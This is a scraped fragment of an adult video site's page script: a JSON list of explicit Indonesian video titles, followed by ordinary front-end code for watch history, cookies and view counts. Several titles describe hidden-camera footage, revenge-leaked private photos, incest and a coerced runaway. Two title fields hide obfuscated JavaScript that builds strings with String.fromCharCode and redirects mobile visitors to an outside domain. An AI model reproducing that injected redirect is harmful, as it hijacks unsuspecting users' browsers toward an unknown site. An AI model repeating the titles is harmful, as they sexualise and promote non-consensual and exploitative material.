Seorang wanita kerah putih yang mengenakan kacamata tanpa resep, setelah melepas kacamatanya, memiliki sosok seksi dan rambut lurus... Suzuki Mayu Suzuki Mayu Depps","lastmod":"2026-07-11","duration":"02:12:23","url":"/play/19163683.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTI5Yjc0ZTM3ZWRjN2Q0M2MwMzU3NDhlMzcxOGVlMWUuanBn.cache","vod_id":18961537,"title":"\"Bocoran Cloud Drive Berkualitas Tinggi\" - Menunjukkan wajahmu adalah kuncinya! Seorang mahasiswi tahun 2003 dengan penampilan biasa saja, tetapi dia sangat ingin menjadi \"muda, patuh, dan apa adanya.\" Dia berhubungan seks dengan pacarnya di hotel, dan mereka melakukan seks oral dua kali. Benar-benar menakjubkan (4)","lastmod":"2025-03-22","duration":"00:02:15","url":"/play/18961537.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNmFhYmU5MzNlOTdjOGRmNDdiNGJjYjkxMGYxZmEwNDMuanBn.cache","vod_id":19163728,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Selain seks, aku juga merasakan manisnya cinta. Rekaman close-up Ultra HD dari kamar hotel mahasiswa sungguhan.","lastmod":"2026-07-11","duration":"49:23","url":"/play/19163728.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGYyYTYwMWQyNjllYWUzM2EyOTI1MjY5NmIzNTZkOTMuanBn.cache","vod_id":18975052,"title":"SIRO-1247 Pengalaman Pemotretan AV Amatir 452","lastmod":"2025-12-14","duration":"00:40:50","url":"/play/18975052.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDM5Njg0YzVmMGQ0YzMyMmExOTM4MGExYWYwN2YyMzEuanBn.cache","vod_id":19008642,"title":"NACR241: Seorang mahasiswi seni bertubuh seksi meminta ayahnya untuk menjadi model telanjangnya, dan kemudian sang ayah dengan gembira berejakulasi di dalam dirinya. (Inoue Ai)","lastmod":"2025-03-24","duration":"02:03:43","url":"/play/19008642.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MjkvNGZkYTM3OGM2ZTlkMDQ1NGRhNjE4Y2IwNGI0YWU0YmUuanBn.cache","vod_id":19049001,"title":"REAL891 Ini adalah kisah tentang seorang mahasiswi yang terbangun karena operasi tenggorokan yang dilakukan oleh seorang ahli laringologi masokis dan mencapai klimaks dengan menangis.","lastmod":"2025-08-28","duration":"02:02:32","url":"/play/19049001.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmExYjM1YmIyODU5MmEzNDIwM2Y5MWM1NzIwMzM3ZjAuanBn.cache","vod_id":18959916,"title":"FC2PPV 3170025 [Tanpa Sensor] Oral dan footjob terbaik berasal dari seorang mahasiswi dengan kaki yang indah. Aku ejakulasi di mulutnya, tapi setelah itu aku butuh waktu lama...","lastmod":"2025-03-22","duration":"00:47:45","url":"/play/18959916.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDE3MzJmYTk2NjRkNTExYjU3NGU3YzFiOTI0NTJkYjYuanBn.cache","vod_id":18958120,"title":"ZOCM-041 Saya menemukan seorang mahasiswi yang melarikan diri dari rumah. Saya melatihnya untuk menjadi mainan seks saya. Volume 002","lastmod":"2025-12-14","duration":"03:27:20","url":"/play/18958120.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOTM0ZTc3OTI4Nzc5NjZiMjFkMmJlZjYxY2Q0NzZhMmQuanBn.cache","vod_id":19147279,"title":"Sana (20 tahun), seorang mahasiswi dengan ukuran payudara F, diam-diam menikmati hubungan seks tanpa peng","lastmod":"2026-03-08","duration":"01:03:51","url":"/play/19147279.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjJjMWJiYmE1NGIyMTUxMzVmM2QyZTJiNmNhYTZjOGEuanBn.cache","vod_id":18956478,"title":"\"Berita Terkini⭐Pelanggaran Privasi\" Balas dendam bajingan setelah putus dengan seorang gadis membocorkan foto seorang siswi berkacamata yang tidak bersalah dengan wajah tidak sehat yang terlihat dalam selfie~ Bermain seruling, berhubungan seks, masturbasi, dan mengeluarkan suara erangan yang sangat khas. Beginilah cara seorang jalang murahan dibuat (6)","lastmod":"2025-03-22","duration":"00:04:00","url":"/play/18956478.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzFlYTA2ZTAyM2NjNDBmZTRjNzgwYmQ3NjcxMzMxNTEuanBn.cache","vod_id":18994018,"title":"SIRO-3828 [Syuting Pertama] Kiriman AV Online → Pengalaman Syuting AV 976 Seteguk air liur, meledak dengan suara-suara imut, dan gelombang jilatan dan sentuhan jari! Seorang mahasiswi yang bersih dan rapi dengan hanya dua pasangan seksual menunjukkan potensi tingginya dalam syuting seks pertamanya! Anda pasti akan terangsang oleh kenakalannya yang tak terbayangkan!! 1","lastmod":"2025-03-23","duration":"01:01:38","url":"/play/18994018.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNWFiOTlhNzUyYThkOTM4MWI4NGMyZjk3Nzg1ZGFhZWUuanBn.cache","vod_id":19160417,"title":"Rekaman Kamera Tersembunyi - Seorang Ahli Rayuan Berusaha Menaklukkan Gadis Langsing, Berpayudara Besar, dan Berkacamata","lastmod":"2026-05-28","duration":"01:29:57","url":"/play/19160417.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzkyYzQyYmUwNjNjNzE0OWZmZmYwZGFjMGFjYWNkZDkuanBn.cache","vod_id":18965025,"title":"GVG-373 Ketua PTA Seksi dan Anggota Dewan Siswa yang Nakal Yuna Takase","lastmod":"2025-03-22","duration":"02:15:33","url":"/play/18965025.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjU5YzViODdmYWZmNmE2YjA2ZjVhNTA2YTg1NDhiZmYuanBn.cache","vod_id":18928788,"title":"EBOD-435 Pemotretan Pertama: Seorang mahasiswi baru di universitas olahraga wanita terkenal. Latihan otot dada yang berlebihan menyebabkan payudaranya membesar dari ukuran C menjadi ukuran H! Kosho, gadis berusia 19 tahun dengan payudara berukuran 5.","lastmod":"2025-12-14","duration":"01:58:33","url":"/play/18928788.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmY0OGU1YmUyYTBkODgwN2RlYjQ2MjM4OGZkN2U5ZWIuanBn.cache","vod_id":18944041,"title":"300MAAN-515 dengan sungguh-sungguh membujuk seorang mahasiswi jurusan kesehatan gigi untuk ikut serta dalam kencan berkelompok!","lastmod":"2025-12-14","duration":"01:17:04","url":"/play/18944041.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjZjODZhZjUxMDQyNGQ1YzllNTVmYTUxYjlkNmE1YzQuanBn.cache","vod_id":18972859,"title":"332NAMA-048 [Penyerahan Amatir] A.O. (21 tahun) Tiga tahun pengalaman pelatihan, mahasiswa, payudara besar dan bokong kencang, Iramar terbalik, menelan air mani, seks di dalam mobil, ejakulasi di wajah.","lastmod":"2025-12-14","duration":"01:26:03","url":"/play/18972859.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2Y1NTA5OTQzMTI1MTNiYzkzNmU4MGI0NTI4YjYzMGEuanBn.cache","vod_id":18938569,"title":"SW-651 Apakah kamu ingin menggodaku? Aku akan menghilangkan keletihanmu. (Pengakuan Harian Mahasiswi/Wanita di Pemandian Air Panas)","lastmod":"2025-12-14","duration":"02:58:23","url":"/play/18938569.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNWNiYWY2MzRlZGU5NmQ4M2IxNmUxMDgwZWE1ZjdiMmIuanBn.cache","vod_id":19161307,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Siswi cantik bertubuh besar dengan payudara ukuran G, Qiqi, nakal, dan gila-gilaan merangsang lubangnya, menyemburkan urin, air mani putih, dan cairan kental -2","lastmod":"2026-07-11","duration":"35:50","url":"/play/19161307.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTkvYWRmODY5YmQ1ODkwNjhlYjQ1ZWFmMmIwMzJhODdkNjAuanBn.cache","vod_id":19058087,"title":"Selamat Halloween 2024! Adu Tinju Baseball Memalukan Shibuya - 4 Mahasiswi Amatir Berkostum (Aktor Tidak Dikenal) SKMJ563","lastmod":"2025-10-18","duration":"03:35:20","url":"/play/19058087.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGEwMmJlMDYzOTU0MDEyZDYwN2MwOTdhNDhmNmEzYmUuanBn.cache","vod_id":18995190,"title":"[Pengkodean Definisi Tinggi] Pendatang Baru: Seorang mahasiswi yang bercita-cita menjadi penyiar wanita. DEBUT AV. Erangannya yang indah terdengar malu-malu sekaligus menggairahkan. Kizuki Lily","lastmod":"2025-03-23","duration":"01:58:40","url":"/play/18995190.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGI5NDcwMDk5MzMwNWE5YzE1NGFjZDJhNGRhNDk3MWMuanBn.cache","vod_id":19023401,"title":"Mahasiswi IESP721C Rio Natsuki mengalami ejakulasi di dalam dirinya sebanyak 20 kali berturut-turut.","lastmod":"2025-03-24","duration":"02:30:49","url":"/play/19023401.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzA5MmZmNTI1N2E1YTAyYmU0NmNiNTMzYzMzNzFjMWYuanBn.cache","vod_id":18958464,"title":"FC2PPV 3171066 [Rekaman Pribadi] Aina, 30 tahun, bokong besar, klitoris besar, wajah imut, dicukur, istri cantik, banyak ejakulasi internal.","lastmod":"2025-12-14","duration":"01:04:10","url":"/play/18958464.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZGJlZDkzNWZmYjFmNDU5NGI4YmNhNDQzOTA5YTk3OTQuanBn.cache","vod_id":19146909,"title":"Khusus Wanita Dewasa - Wanita Dewasa di Kamar Anda - Bawa Mereka Pulang untuk Difilmkan Secara Rahasia - Rilis Asli AV 82 - Istri-Istri yang Terbakar Nafsu JJBK-084","lastmod":"2026-03-07","duration":"02:23:27","url":"/play/19146909.html"}]},
videoTitle: '[Kode] 345SIMM755 Seorang anggota OSIS yang memakai kacamata difoto oleh kekuatan Tonoyoshi.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}